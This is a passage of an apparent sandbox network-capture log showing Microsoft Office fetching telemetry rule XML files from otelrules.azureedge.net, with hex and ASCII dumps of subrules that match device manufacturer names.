IfogaPOzRkOqJY37.3Context: de20e9df21e5a68a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-19 00:01:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-19 00:01:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 68 30 73 62 35 39 6c 44 45 4b 53 4d 71 44 4c 41 6d 6f 34 44 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Sh0sb59lDEKSMqDLAmo4Dw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:19 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: fcc5131a-f01e-0071-7aea-39431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000119Z-r18f44ddb69lfsdqhC1DFWyzec00000000gg000000000yqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:19 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:19 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ca01ca83-d01e-005a-5cf2-397fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000119Z-17cf5b775c468qpphC1DFWhuww00000000cg000000003p3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:19 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:19 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000119Z-16547b76f7fd4rc5hC1DFWkzhw00000006u000000000egg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:19 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000119Z-16547b76f7fwm7vghC1DFW900s000000046000000000354s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:20 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cf84bce2-801e-0083-40b8-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000120Z-r18f44ddb69vpnwdhC1DFWa89n00000000g000000000c6pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:20 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:20 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000120Z-164f84587bfn7ppchC1DFW45b400000000xg00000000ev6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:20 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:20 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:20 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000120Z-16547b76f7fz92z5hC1DFWmdx800000004x0000000001pzy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:20 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:20 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:21 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 089a25c2-e01e-0052-7e86-37d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000121Z-17cf5b775c4j2k86hC1DFWdbb400000000hg0000000036uz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:20 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: f2f33407-301e-0096-0103-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000120Z-17cf5b775c468qpphC1DFWhuww00000000eg000000004bch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:21 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000121Z-16547b76f7fkz9l7hC1DFW35uc00000003ng000000007prk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:21 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000121Z-r18f44ddb69lhcg2hC1DFWbmfc00000000kg00000000c7bc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:21 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:21 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 0112037e-901e-00a0-1b8a-396a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000121Z-164f84587bfmxxfphC1DFW3au8000000052g00000000261d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
